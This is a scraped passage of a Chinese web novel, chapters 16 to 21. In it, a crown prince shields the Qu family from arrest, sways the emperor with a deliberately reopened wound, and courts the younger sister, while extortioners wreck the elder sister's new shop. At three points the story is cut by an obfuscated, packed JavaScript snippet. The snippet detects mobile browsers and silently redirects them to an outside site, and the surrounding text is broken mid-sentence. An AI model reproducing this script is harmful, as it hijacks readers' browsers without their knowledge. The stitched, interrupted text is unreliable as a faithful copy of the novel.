曲昭盈却是无论如何都想不到,自己不过只与玉和打了个照面,对方就能够这样记恨上了自己。 她如今正与大麻烦谢聿珩面对面地坐在中堂里,面如死灰地、认命一样地给他包扎着伤口。 谢聿珩那伤口并不深,稍微清洗之后便不再往外渗血,只是那猩红的血肉翻了出来,瞧着多少有些触目惊心,他看着曲昭盈垂着的脑袋,低声问她:“吓到了?” “不是,”曲昭盈闷声道,“殿下不该救我的。” “何为不该?” 曲昭盈答不上来。 她知道谢聿珩就是这样一个人,他素来善良又正义,今日莫说是曲昭盈,就是一个素未谋面的乞丐在他的面前被人打了,他都不可能袖手旁观,与那什么好感度、攻略之类的没有半点干系。 倒叫她的愧疚显得更加无足轻重了。 谢聿珩的手放在曲昭盈的手心上,她的手干燥又温暖,温度像被晒过的棉被似的透过一层层的纱布妥帖地熨在他的手上,叫他十分想张开手去握住她的指尖、贪婪的去汲取她的温暖。 但他却又什么都不做,仍旧摆出副翩翩君子的作态,轻声道:“你真的这样讨厌我?” 曲昭盈当然不可能讨厌他,只是不想与他扯上干系罢了,只是这话也不能轻易对着一个太子说出口,只能摇头道:“我没有。” 谢聿珩勾起嘴角来笑道:“那你只需要谢谢我就好了。” 他毫无预兆的笑容好似鬼魅一般会摄人心魄,叫曲昭盈看得一时间都忘了动作,卫沉与别的侍卫侯在门外,只与她隔了薄薄一扇门,屋里人的动静都叫他听的一清二楚,听及此,简直恨不得冲进屋里去将小姐拉出来,才好让她不被这男鬼迷了神志! 他听见曲昭盈闷闷地说了句:“谢殿下救命之恩。” 听听,这不就被他绕进去了吗! 谢聿珩果真得寸进尺,问她:“可有谢礼?” 曲昭盈一愣,随即反应过来自己确实应该给他备一份谢礼,否则也忒白眼狼了些,当即说道:“家父会为殿下准备……” “我不要,”谢聿珩像个孩子似的扁了扁嘴,用近乎撒娇的语气对曲昭盈道,“我只想要曲姑娘亲自准备的。” 曲昭盈哪里见过他这番模样?! 她只觉得整个心在胸腔里头乱跳,也不知究竟是吓得还是惊的,还未来得及想出什么话来,就听得外头突然有人高声喊道:“曲家人还不速速出来!!?” 17.第十七章 曲家人从府门出来时,外头已经围了黑压压的一片人:领头的是个年纪三十左右的公公,他带了三四十个身穿青色劲装的带刀侍卫,谢聿珩侯在外头的侍卫已经被全部擒了,除此之外还有不少来看热闹的街坊,他们鲜少见过这样的场面,自然都从家中出来驻足观看,且他们不光要看,嘴上更是不闲着,窸窸窣窣地都在讨论曲兰生一家是不是犯了什么事,才能叫宫里用这么大的阵仗来抓人——难不成是犯了什么要杀头的大罪不成? 此刻太阳已经开始往西下去,橙黄色的阳光落在门前的树上,又在灰色的墙上拉出一道长长的、烟蒙蒙的影子,沉闷的屋脊后头是无尽的金色晚霞,晚霞前有一群燕子低低掠过,有几只飞累了,正停在廊下的灯笼上,叽叽喳喳地瞧着下头闹哄哄的人群。 卫沉寸步不离地跟着曲昭盈出来,一见外头这来势汹汹的官兵,下意识往前迈了一步将她护在身后,仿佛这样能替她抵御住千军万马似的。 曲兰生在来的路上就已经大约明白这些人为何如此大动干戈,但到底事关他一家老小的性命,他当然并不肯轻易束手就擒,还要装傻道:“敢问刘公公,老夫犯了什么错,竟值得宫里这样兴师动众的来找我?” “皇后娘娘亲自要拿你,”为首的公公名为刘曦,他下巴一扬,却并不向他解释,只接了句,“曲大人,曲夫人,曲姑娘,请。” 他一下点了曲家所有人的名字,自然叫在场人都慌了,曲思盈一遍又一遍地打开系统视窗,企图找到剧情中相似的情节来应对眼前的情况,可原本这只是个主打以甜宠为主的轻松日常向游戏,后续更是因为运营不善导致更新次数、内容变少,游戏在关服的边缘徘徊,完全没有设置这样剑拔弩张的剧情,因而曲思盈翻了小半日都没找到类似的剧情,整个人都不知道到底该如何是好了。 到底是要站出来反抗?还是乖乖跟着走? 她当然不肯被关进暗无天日的大牢里,且在现在这个时间点上的谢聿珩不过才和她初相识,好感度并不足以让他义无反顾地来救自己,哪怕他这人向来公正,但想要平息皇帝皇后的怒火也绝非易事,就算是日后真的还了曲家一个公道,这牢狱之灾又岂是常人能够忍受的? 可若是不去,岂不是当庭抗旨? 在这个时代,皇命比天命还要可怕——天命可以违,皇命却是万万不可违,这样多的侍卫在前头,只怕稍有不慎就会血溅当场! 曲思盈下意识往曲昭盈的方向看了一眼,却见曲昭盈眉头一皱,从卫沉的身后走出来开口道:“要走可以,倒也得叫我们死个明白,叫我们一家知道究竟为何要无缘无故地被带走。” “若是因为今日太子遇刺一事,那还请恕我们不能从命,”曲昭盈人看着娇滴滴,说起话来的模样却有种超出年龄的成熟与倔强,叫人莫名觉得可靠,“分明我也是受害者,岂有不分青红皂白,将过错甩到我们头上的道理?” 刘曦当然也没这么好糊弄,能叫一个黄毛丫头三言两语糊弄了去,听见她这样说,也只是笑了声,道:“咱们也不过是奉命行事,曲二小姐若是有什么冤屈,还请到皇后娘娘跟前说去吧。” 他才说罢,身后的侍卫便好似得令了似的马上要上前来抓人,卫沉当即亮出剑来要保护曲昭盈,一时间门外乱作一团,曲昭盈还想辩驳几句,却不知谁突然喊了一声“殿下!”方才还气焰嚣张的公公与侍卫们就忽然间像被人按了暂停键似的停了下来,又急急忙忙地往地上跪了下去。 “参见太子殿下!” 他们异口同声地喊着。 曲昭盈回头去,原来是谢聿珩不知何时从府里走了出来。 他踏着落花而来,长衫随着他的步伐卷起一阵风,分明是个风度翩翩的模样,瞧着却莫名有股肃杀之气,这样一言不发地站在众人身后时,宛若一尊玉面修罗,有种不怒自威的气势。 谢聿珩的眼睛自他们身上扫过一遍,面无表情地开口道:“刘公公,还请给我一个解释。” 他说话的声音没什么起伏,却叫人听得无端背后发冷,刘曦也不好触这太子的霉头,只圆滑的将这事儿推了出去:“殿下息怒,咱们也只是按陛下和娘娘的旨意做事。” 谢聿珩叹了口气,道:“回去吧,人也放了。” 他太清楚自己的侍卫被带走意味着什么,更明白曲家人此时若被带走会被怎样为难——哪怕他只是为了保护别人而受伤,但太子当街遇刺无异于打了皇家的脸面,皇帝盛怒之下必然要杀一儆百,以保天家威严。 他必须要保下这些人。 但刘曦有皇命在身,哪怕他面对着太子爷,却也不肯轻易退步,只作了一揖,毕恭毕敬道:“殿下还是莫要为难小人了。” 谢聿珩却仍旧道:“放人吧,本宫进宫去与父皇母后亲自说,不会叫你担责。” 刘曦与他在这里周旋小半日,等的就是他这句话。 他又不好表现的过于明显,只谄媚地笑了声,对谢聿珩道:“小的知道殿下一向疼惜下人,咱们也不是故意要与您作对……是这样,您叫小的带您的几个侍卫先回去,小的保证好吃好喝的给人供着,不叫他们掉一根头发!” “等殿下与陛下把这事儿说好了,小的再把人完完整整地给您送回东宫去,行吗?” 刘曦又抬眼看了曲家人一眼,笑道:“也劳请曲大人走上一趟,好叫咱们交差不是?” 他这态度比先前软和不少,显然是已经在做让步了,谢聿珩只想了想,便接话道:“曲大人肱股之臣,不必为此事受这样的委屈,你带我的侍卫回去便是。” 说罢他也不等刘曦再回话,又重复了一遍:“你回去吧。” 见他态度实在强硬,刘曦也没了办法——三个都是开罪不起的,他一个奴才夹在中间左右为难,眼下也只能接受太子的提议,先带几个人回去交差,也算是向太子和皇后示个好了。 一场闹剧变这样消弭于无形。 皇后心疼他受伤,还专程派了马车与太医来接他,此时正停在曲府大门跟前,谢聿珩见刘曦带着人撤了,这才转过身去对曲兰生道:“曲大人受惊了。” 曲兰生连连摆手,直言殿下言重了。 谢聿珩只笑了笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967828|174338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又侧过头去看曲昭盈。 曲昭盈被他看得心下一跳,只好赶忙行礼要谢他解围,否则今日他们一家在劫难逃,谢聿珩却在她道谢之前开了口:“可有被吓到?” 曲昭盈心里却在大喊:你用这种语气跟我说话才是真的会让我吓到好吗! 她像个木头似的不言不语,倒是曲兰生是个人精,赶忙替曲昭盈回话道:“多谢殿下关心小女,改日我们全家定登门拜访,谢殿下救命之恩!” 谢聿珩眉毛一挑,难得露出些调皮的表情,与平日里严肃正经的模样全然不同:“一言为定?” 曲兰生满面堆笑:“自然,自然。” 谢聿珩这才总算勉强满意了,但他却仍旧不肯轻易放过曲昭盈,还要问她:“到那时我能收到曲姑娘的谢礼吗?” 他几乎是故意在众人面前挑破她与自己之间的关系,却又刻意说得模棱两可,好叫别人去猜测他们二人间到底有多亲密,曲昭盈被他步步紧逼退无可退,只能垂头丧气地“嗯”了一声,瓮声瓮气地道:“还请问殿下想要什么谢礼。” 谢聿珩下意识往卫沉的方向扫了一眼。 那男子毕恭毕敬地半跪在地上向自己行礼,头深深地低下去,没有自己的允许,更是连抬都不敢抬一下。 偏偏是这样卑微的人,却能得到她的青睐与关爱,能得到她主动的示好与宠爱,叫他十分想要问一问曲昭盈,到底是为什么?他到底有哪里好? “什么都好,只有一件事,”谢聿珩不动声色地将自己的目光收回,弯下腰去,将脑袋凑到曲昭盈的耳边,低声笑道,“我也喜欢月亮。” 他鼻尖喷出的热气好似火一样灼在曲昭盈的耳朵上,叫她从耳廓到脸“唰”地一下烧了起来,整个人更是像见了鬼似的往后倒退两步,谢聿珩像是见了什么极有趣的事情一般,笑着摆了摆手,终于转身上了马车,回宫去了。 谢聿珩前脚才走,后脚曲兰生和曲夫人就凑上来逼问她们姐妹二人为何会与太子扯上关系,好叫他们心里有个底,曲昭盈好不容易应付完这夫妻二人的盘问,再三保证自己和太子没有别的关系之后,终于有空去和曲思盈说话了。 方才发生的一切虽然都非她所愿,但谢聿珩却实打实地与她互动了半日,因而她小心翼翼地对曲思盈道歉道:“对不起,我……” 只是她话还没说完,曲思盈就抢先说了句:“道歉干嘛,我又没生气。” 曲思盈总想起方才自己慌乱时,曲昭盈站出来反抗的模样,仿佛她才是勇敢无畏的女主角似的,既叫自己动容,又叫自己觉得无地自容。 方才因为谢聿珩替她挡刀时生的那点火气自然也就消了。 “事发突然,你也没办法,”曲思盈长叹一口气,又往曲昭盈身上看了一眼,见她袖口皱巴巴的,梳好的发髻也歪了些,瞧着像只被遗弃在路旁的小狗,多少有些可怜巴巴,“下次你注意点就好了。” 曲昭盈松了口气,又道:“我下次瞧见他一定绕着道走!” 曲思盈笑了笑,抬起手往她心口上一直,嗔道:“看你怎么躲过去东宫!” 18.第十八章 谢聿珩到御书房时,永乐帝正好看完手里最后一份奏折。 御书房分正侧二殿,正殿摆设的东西不多,一副宽正仁和的匾额下放着张盖着黄缎的沉香木桌,桌旁有一半人高的黄铜香炉,正燃着皇帝最常用的龙涎香,朦胧的烟从香炉中袅袅升起,倒有种不可揣度的威严之感。 侧间的摆设则要繁复的多:窗前摆着张软榻,地上铺着金丝羊毛地毯,一张满郭子仪拜寿图的屏风正架在地毯上头,往侧面看去,就见满面墙的书架上头摆着密密麻麻的书本,书架前头是张摆了笔墨纸砚的金丝楠木桌,永乐帝此刻正坐在书桌前头。 谢聿珩才踏进房门,就听得一个声音道:“朕听说你把刘曦赶回来了。” 他的声音似口古井一般没有起伏波澜,谢聿珩毕恭毕敬地走上前去,行礼道:“儿臣见过父皇。” 永乐帝放下毛笔抬起头来看他这个儿子,嘴上却一言不发——他既不让受了伤的谢聿珩免礼,也不关心他的伤势,只等着谢聿珩开口向他解释。 解释他为何抗旨。 谢聿珩又如不懂?他想也不想便往地上一跪,磕头道:“儿臣愿领抗旨之罪。” “只是平日里父皇总是教导儿臣说为君者当以仁德泽被苍生,”谢聿珩伏在地上,叫人看不清他的眼神与表情,只听得他清泉似的声音娓娓道来,“父皇一向宽和仁厚,因为儿臣才会关心则乱,在盛怒之中下了这样的旨意,儿臣受宠若惊,却又实在惭愧。” 他手上的伤口不知何时裂开了,鲜红的血从洁白的布子中渗了出来,瞧着颇有些触目惊心,谢聿珩却好似浑然不觉,依旧一动不动地跪在地上,额头贴在冰凉的地砖上,不急不躁地向永乐帝解释道:“父皇贤明一生,若因为此事叫天下人诟病,儿臣又如何能够安心?” “是以儿臣才斗胆抗旨,还请父皇明察。” 他先发制人,三言两语将永乐帝架到高处去,说得他好像是什么前无古人的贤德之君,偏偏皇帝对他这样真心的吹捧十分受用,又见他连伤口都来不及管就急匆匆回宫来,急切地向自己解释的模样,叫他不自觉地想起谢聿珩儿时做错了功课,也是这般战战兢兢、如履薄冰地站在他的身前等待着他的发落。 永乐帝终于软下一点心来:“那你说,该如何处置?” 谢聿珩依旧保持着叩首的姿势,一字一句道:“但凭父皇处置。” “罢了,就依你所说,饶过他们的性命,”永乐帝又重新拿起那支被他扔在桌上的毛笔,“只是他们到底是护卫不利才闹成这样,也不能轻易就放过了。” “就各打十五大板,罚俸三月,以儆效尤。” 谢聿珩又叩一首:“谢父皇开恩。” 永乐帝低下头去,将方才那本奏折又翻开来,边看边道:“刘曦说,刺伤你的人已经死了?” “是,儿臣还未来得及盘问,他就已经暴毙而亡。” “这事就交给宗人府,你歇着去吧。”永乐帝挥了挥手,正要叫他退下,就见外头的太监走了进来,道:“陛下,皇后娘娘到了。” “跟你母后去吧,”永乐帝重新低下头去看奏折,半点没有要叫皇后进来的意思,“她也十分担心你。” 谢聿珩这才慢慢地站起身来,又向皇帝深深作了一揖,说了句“儿臣告退”之后,这才离开了御书房。 皇后正在书房门口站着。 她一见谢聿珩出来,便三两步走上前来,双手去抓谢聿珩的手,急切道:“究竟伤在哪儿了?叫母后看看!” 这一抓,便看见他鲜血淋漓的手,皇后的脸色当即“唰”地白了下去,怒道:“这些奴才都是怎么办事的?!如何能教你受这样重的伤?!” “曲兰生呢?!还不给我带上来!” “母后息怒。”谢聿珩抬起一只手覆在皇后细长的手上,柔声安慰他,“儿臣无事。” “这叫什么无事?”她面上表情仍旧焦急且愤怒,又看见旁边低着头的宫人,更是怒不可遏:“还在这愣着做什么?去传太医!” 谢聿珩却摆了摆手,道:“母后,回宫再说吧。” 皇后叫他这样一说,才勉强恢复些理智,想起确实不该在御书房前这般吵闹,待到与谢聿珩回到寿康宫时,她也终于冷静了下来,一边坐在榻上看太医给谢聿珩上药,一边问他:“你究竟在想什么?” 太阳已经沉到屋檐下头去,月亮却还未来得及升起,外头只剩昏暗的一点光透过一层薄薄的窗户纸爬进屋里,像旱烟迷蒙的一点颜色,屋内的灯早已燃起,谢聿珩坐在灯影之下,终于给皇后看到了他被层层包裹住的伤口:被刀划开的口子早就已经不再流血,暗红色的血迹干在伤口边上,却又在踏进御书房的时候被他悄悄扯裂开来,成了血肉模糊的一片,渗出的血迹替他在与皇帝的谈判中博得了他想要的、恰到好处的同情与怜惜,叫他顺利地保下了他想要保的人。 谢聿珩面无表情地将被太医拆下来的绷带一点点折好,这才回话道:“想利用一点机会罢了。” 那绷带是曲昭盈替他扎的,那姑娘不太熟悉如何给人包扎伤口,虽然她包的认真,却歪歪扭扭不慎好看,他舍不得将那布子扔了,便仔仔细细地将它收进怀里去,却听得皇后又问他:“什么机会?!” 当时接到消息时,皇后担心之余,第一反应是要将太子遇刺的罪名安到宁贵妃与谢懿玄的头 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黄色的烛火在她的脸上投下一道光,却照不进她的眼底里去,仿佛她的目光早就已经死去了,她少时绝代无双的容颜也像在屏风上绣着的鸟一般,随着时间的流逝,在这后宫中一日日地暗淡下去,在华服的包裹下,安静、凄怆的发了霉,点缀在她身上的首饰成了华丽的钉子,将她一寸寸地钉在屏风之上,也将她的心一寸又一寸地钉死了。 “来日方长,”谢聿珩不解释,只安慰她道,“母后何必急于一时呢。” 且他今日这伤哪里算得是白受? 他胸口收着的那一块沾着血迹的布子像是灼热的日光,隔着衣裳都快要将他的身子烫化了,他想起她散发着香气的发顶,想起曲昭盈握着自己手掌的手指,便甘愿叫这样的炽热将自己吞噬,贪婪的像不知餍足、企图吞下太阳的蝰蛇。 太子遇刺的消息在当天夜里便传遍了整个长安城。 听说刺杀太子的人是年前逃来长安城的流寇,此前一直与妻女以乞讨为生,偶尔做些短工,却也因为手脚不太干净叫东家辞退了,日子过得拮据,几乎没吃上过几顿饱饭,他不认得太子的模样,只是因为瞧见殿下衣着华贵起了歹意,趁着侍卫不注意时才伤了殿下。 可叫人意外的是,太子殿下非但未责罚侍卫,更未计较他家人的罪责,甚至还主动承担起管理城中流寇的职责,将这些年来苦苦挣扎求生的人都登记在册,每户发两贯钱不说,还承诺了要尽量给他们安排工作,好杜绝此类事件再次发生。 一时间谢聿珩风评大涨,人人都道这太子宅心仁厚,待他将来继位,老百姓尽可享福了。 而曲昭盈在半月之后、谢聿珩的伤口已经快要愈合时,终于在曲兰生的百般催促之下,带着所谓的谢礼,心不甘情不愿地走进了东宫的大门。 19.第十九章 曲昭盈出门之前,曲思盈专程来找她。 虽然她那日说过自己不生气,却依旧介意谢聿珩与曲昭盈走得太近,尤其是在曲昭盈与她坦白过春桃一事之后,她在夜里睡觉时,只要稍一闭上眼睛,谢聿珩弯下腰和曲昭盈说话的模样就会不受控制地浮现在眼前,叫她辗转反侧、夜不能寐,生怕一觉醒来世界变了样,谢聿珩真的和曲昭盈跑了。 因而即便她这半月来一直要忙着开店的事宜,却依旧要每日到曲昭盈的房里坐一坐,拉着曲昭盈研究到底要如何将剧情扳回正轨。 曲思盈开店要忙,曲昭盈自然也没闲着:她从自己的设计稿里选了个最满意的来,一个一个地去找工匠试材料,终于让她找到各方面都满意的方案,又要亲自盯着样品,才总算在开业前拿到了她要的成品。 “早知道顺着剧情开店也会出乱子,我就不费这力气了。”曲思盈趴在曲昭盈的软榻上,手里捏着曲昭盈拿回来放在房里包装盒样品,百无聊赖地叹气道,“一天天的都是事儿,累死了。” 她早打定主意来这里做个大小姐享福,如果不是要按着剧情走下去与谢聿珩相恋,曲思盈也不会自讨苦吃,去做什么劳什子生意:“要是废这么大劲还失败,我才真的要烦死了。” “只是我至今也想不明白,到底是为什么。” 曲思盈将那做工漂亮的盒子拆了,颇为烦闷地道:“明明都已经顺着剧情去做了,却还是出了岔子,原本开店那天会触发的剧情也因为谢聿珩在养伤,根本没发生。” 就连原本在这半月里她应该参加的宴会,也因为曲家被卷入不必要的纷争之中而没能赴宴,又叫她如何能够安下心去? 她恨恨地捏着已经变形的纸盒,噘着嘴道:“会不会是因为两个系统不兼容的缘故,才生出这么多乱子来?” “可我的系统已经消失很久了,”一提起系统,曲昭盈也愁眉苦脸了起来,“最近我怎么喊它都不出来了,以前至少还会回应我几句。” “唉,”曲思盈叹了口气道,“我也知道挑战这种高岭之花肯定有难度,哪有想到这么难啊——” 曲思盈又接话道:“总之今日过后,你千万离他远些,最好躲在家里别出门,杜绝一切见面机会。” “反正你攻略的卫沉就在你身边,你也没什么出门的必要。” 曲昭盈知道她心急如焚,才会说出这样的话来:原本曲兰生说好了要全家登门造访以谢太子救命之恩,却在临行时要求曲昭盈只身一人前去,也不知他究竟在心里打得什么主意。 她们二人自然反对,却也拗不过人家一家之主的威严,只要他下令叫侍卫与侍女将曲思盈关起来,她便是再有主见和想法又能如何? 只是曲昭盈总还惦记着与春桃见面的事情没有给谢聿珩答复,也不愿意轻易说谎诓骗曲思盈,老老实实地答道:“但我若是想见春桃……” “有什么好见的?一个奴才就算翻了身,也不过和你萍水相逢罢了,”曲思盈不置可否,“难不成你还指望和她见了,她能给你什么好处不成?别见了。” 曲昭盈还未应话,曲兰生的小厮便来传话,说车已经备好,二小姐可以出门了。 她只能怀着心事先出门去,想着等回来了以后再和曲思盈好好聊一聊:她又不是被关在监狱里的犯人,哪有不让她出门的道理?即便曲思盈心里慌乱,却也不能提这样的要求不是吗? 曲昭盈越想越委屈,越想越觉得生气,一时间倒把谢聿珩抛到了脑后去,待到东宫侍卫将她带到花园中时,她才终于想起今日来见谢聿珩的目的。 虽说东宫的花园比不得御花园的壮观富丽,却也足够精美繁复,每一处都有能工巧匠精心装点,偌大的园子里既有湖又有亭,弯弯曲曲的走廊隐藏在树木与花草的空隙中,露出来一点碧色的琉璃瓦,日头好的时候,瓦片上就仿佛碎了无数的太阳,透过层层叠叠的树叶,无情地刺着人的眼睛。 谢聿珩正在湖心亭上看书。 他近日专心在宫中养病,难得有了些空闲日子,看见曲昭盈来了,便当即扯出个笑脸来,道:“曲姑娘。” 谢聿珩的容貌果真出挑,不过穿了件素色衣裳,也透露出一种病态的、叫人怜惜的美感,曲昭盈只匆匆看过他一眼,便作揖道:“民见过太子殿下。” “何必如此拘谨?”谢聿珩抬手一指自己对面的石凳,笑道,“曲姑娘,坐。” 他的手上不再缠着绷带,那一日的伤口早已结了痂,长出了新的血肉来,粉色的一道疤痕像面目可憎的虫子,蜿蜒在谢聿珩骨节分明的手上,仿佛有人用刀生生劈开一块上好的翡翠,叫人无端觉得可惜,更叫曲昭盈觉得羞愧。 她下意识就问他:“殿下的手可好些了?” “偶尔动起来时还会有些痛,其他的倒也不打紧。”谢聿珩笑了笑,用那一双桃花眼望向曲昭盈,道,“姑娘不必觉得愧疚。” 可她如何能不愧疚? 若非谢聿珩相救,她说不定早就已经死在那流寇的刀下,哪里还有机会坐在这里和他说话?但她非但不知感恩,还一个劲地想躲着这个救命恩人,连准备一份谢礼都拖拖拉拉,如今看见他手上那道可怖的疤,更是觉得自己良心备受煎熬了。 即便这只是一个游戏,即便谢聿珩只是一个游戏里创造出来的角色,她却也切实地得到了他的帮助不是吗? 可她甚至连好好向谢聿珩道谢都没有。 “前些日子事情实在突然,我尚未来得及向殿下道谢,”曲昭盈愧道,“民女谢殿下救命之恩。” 谢聿珩将受了伤的手垂下去,忽然无声地笑了。 以宫中太医的水准,想要叫他的手上不留下疤痕,并非一件难事。 但他故意要叫那一道丑陋的伤口留在自己的手掌之上,故意要让曲昭盈看见,故意想要叫她觉得愧疚,故意要她觉得自己可怜,才好换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他似乎丝毫不觉得高高在上的太子与一个寂寂无名的侍卫争抢是什么丢脸的事情,还要故意摆出副可怜的模样,叫曲昭盈一时间不敢去看他,侧过头去,胡乱应了一声“嗯”,就算作是答应了。 谢聿珩终于满意了。 曲昭盈见他心情大好,忽然之间有些好奇:她忽然很想知道他对自己的好感度是多少。 只是她仍未赚到钱,系统钱包里头依旧是可怜的十来两银,并挤不出来多余的钱去打开谢聿珩的好感度视窗,面对着这样的情况,她除了好奇之外,竟然一时间也做不了多的什么事了。 到底为什么谢聿珩要这样对她? 他们不过才见过两次,到底为什么他几次三番地对自己释放善意、表现出异常的好感来? 许是她想得太过入神,下意识地将这些疑问低声问出了口,谢聿珩仔细听了,辨别出她黏在一起的词句里的问题,冷不丁地开口回道:“从前我与曲姑娘见过的。” “你不记得了?” 曲昭盈心里一跳。 从前?什么时候?她怎么不记得? 是她穿越过来之前的事情吗?可游戏剧情里没说、曲思盈也从未告诉过她啊? 她正想开口发问,却见一个宫人忽然走了过来,冲谢聿珩行礼道:“殿下,曲大小姐差了人来,说是她店里出了事,叫曲二小姐快去看。” 20.第二十章 曲昭盈匆匆忙忙地从东宫出来,卫沉早已马车旁候着,看见曲昭盈神色慌张地出来,便赶忙上去接她,曲昭盈心中惦记着曲思盈的事情,也没有心思与卫沉寒暄什么,只想一心赶去店里看看到底出了什么事情,扶着他的手就上了车。 卫沉今日难得没跟在马车后走,而是一言不发地坐在车舆后头,与曲昭盈只隔了薄薄的一张帘子,曲昭盈透过光看见他在外头的影子,下意识就去问他:“可知道出什么事了?” “只说是有人来闹事,”卫沉回道,“具体的倒没讲。” 他说话的时候,车夫刚好挥动鞭子叫马车往前走去,卫沉顺势低下头去,一双眼睛半阖着盯着脚下的路看,他看那细沙路好像延绵不绝一样在车轮下铺就开,叫他觉得自己好似行走在沙漠里的旅人,被火辣的太阳炙烤地口干舌燥,却无论如何都找不到一处救命的水源。 “二小姐。”卫沉低声叫了曲昭盈一声,“您与太子殿下……” 他想问她是不是和太子两情相悦,也想问她是不是在拿自己寻开心,才故意说那些话、做那些事来逗自己,可他又怕这话真的问出口之后,从曲昭盈的嘴里听到他不敢听的答案。 若这些都是真的,那他要怎么办? 他已经足够卑微了,又还要他如何悲惨才能叫人满意呢? 奈何曲昭盈向来是个对感情迟钝的,又向来没把这里当做真实的世界去投入那样多的感情,直到系统消失之后,她才在混乱与不安中被迫地开始适应这个世界,又能分出来多少的心力去猜测每个人的心思呢? 所以她听不出来卫沉的言外之意,也猜不到他的心思,她安静地坐在车门附近,脑袋倚在车厢上,只等着卫沉说接下来的话,却只能听得到骨骨向前的车轮声,听见随着风声飘进车里的细碎人声,但听不见卫沉咽进肚子里的声音。 “什么?” 曲昭盈等不到他下面的话,终于主动开口问他。 卫沉却问不出口了。 他想叫曲昭盈答应自己别再与太子见面,想叫她现在就把说要做的荷包给他,却又觉得这些话说出口真的丢脸,嗫嚅了几声,终于用发干的嗓子低声说了句:“没什么。” 沙漠一样的细沙就这么一路延续下去,像画卷似的将她们送到了曲思盈的店跟前。 曲思盈这店开在长安城最热闹繁华的西市里头,店门大开着,上头挂着个“思盈的茶”的牌匾,多少有些擦边现代某个知名果茶品牌的意思;店分上下两层,还带了一个后院和仓库,原本是开做酒楼的,虽然因为经营不善倒闭了,但这门店却是相当不错的。 原本以曲思盈的财力,并不足以支持她租下这样好的店铺,只是这铺面的主人是与她交好的姐妹,一听说曲思盈想要开铺子,便义不容辞地以十分低廉的价格租给了她,更因为原本就是用作饭店的原因,她重新装修起来也没花太多的时间和金钱,也算是原本的剧情开给这位女主的金手指了。 曲思盈仿照了现代甜品店的模式,不光只卖点心,还顺带做一些应急的饮品果茶,将二楼设做用餐区,在一楼陈设甜品点心,专门定做了带着薄纱的柜台来做商品陈设,再加上曲昭盈费了许多心思做出来的别致包装,实在是足够新奇与特别,甫一开业便门庭若市,接踵而来的顾客将整个店围得水泄不通,倒是与游戏剧情里头写的一模一样。 此时店外虽然依旧有许多人,却与平日里的食客不同,比起来吃东西,更像是在看热闹似的围在店外,卫沉替曲昭盈分开人群、走上前去,就看见店里的桌椅被人东倒西歪地踢翻了,精美的吃食也可怜兮兮地掉落在了地上,看着实在狼狈极了。 店里有五六个身材高大的男子,正指着曲思盈的鼻子破口大骂。 他们在今日最热闹的时候大摇大摆地走进店里,不分青红皂白便开始打砸店里的东西,将客人全部赶了出去,店员出来拦,却不想那几人蛮不讲理,上手就开始打人,曲思盈出来与他们争辩几句,谁知对方根本不管她不过是个弱女子,竟然连她也想一起打了,还好曲思盈的身边有店员护着,才勉强叫她没有受伤。 那一群人将店里能砸的东西都砸了,这才大声道:“你们这老板是谁?!” 曲思盈没敢应声,倒是店里的许掌柜反问他们:“你们到底要做什么!” “你们店里的东西让我们吃坏肚子了!”其中一人大喊道,“今早吃过之后我就上吐下泻,赔钱!” “你说是吃坏了就是真的吃坏了?”曲思盈躲在徐掌柜的身后出声道,“有证据吗?” “就是这么个理,”徐掌柜点了点头,顺着曲思盈的话说道,“也不能谁来闹一闹,说自己在我们店里吃坏了肚子就都要我们赔的,几位爷总要拿出些证据来。” “早上吃剩的点心,大夫开的方子,总得拿一个出来叫咱们看看不是?” 那几个大汉当即大喊道:“你们要赖账!” 曲思盈反驳道:“你们少冤枉人!” “做事讲讲证据好不好?!不然上下嘴皮子一翻就说是被们害的,以后谁都跟你们学着这样来讹人,我们还做不做生意了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她心想,曲兰生不论如何也是京中四品官员,以他的官职和实力,要替她解决这些麻烦可谓是易如反掌,只要叫她熬到他们来救场就好了。 却是没想到曲兰生和官府的人还未赶到场,曲昭盈倒是先来了。 曲思盈一见她踏进店里,面上的表情一下就亮了,像抓住救命稻草似的慌忙道:“妹妹救我!” “他们是故意来闹事的!” 她这一喊,原本还气势汹汹、剑拔弩张的几个大汉便纷纷回过头来看她,三两步将她围了起来,道:“你就是这里管事的?” 21.第 21 章 卫沉像只忠诚的狼犬般站在曲昭盈的身前,将她整个人挡了个严严实实,呵道:“休得无礼!” 曲昭盈抬起手来轻轻拍了拍卫沉的肩膀,叫他莫要那么紧张,顺势从他的身后走了出来,与他平行站着,深吸了一口气道:“究竟发生什么事了?” 她一走进来看见这满地的狼藉,原本应该摆在柜台上的精美糕点此时一个个都被踩碎在地上,像是暴雨后落进泥地被碾烂的花瓣,叫人不免觉得可惜;她又看见几个人高马大、气势汹汹的男人,在那些人齐刷刷地向她围过来的时候,若要说她不害怕,显然是有些自欺欺人了。 但曲昭盈还是鼓起勇气,强撑出一副冷静的模样,好叫自己不要在这样的场面上露了怯。 那几人见状,果真以为曲昭盈是此处掌事的,七嘴八舌地冲她吼叫起来,曲昭盈从他们的对话中大概听明白了他们的意思——原来是来讹钱的。 “我明白你们的意思了,”曲昭盈应声道,“若是真的吃我们的东西吃坏的,赔偿是应该的。” “但我有个问题想搞清楚,你们说买了糕点,是买了哪一种糕点?”她直视着那五个人,一字一句道:“是哪个店员给你们拿的点心?又是谁给你们结的账?” 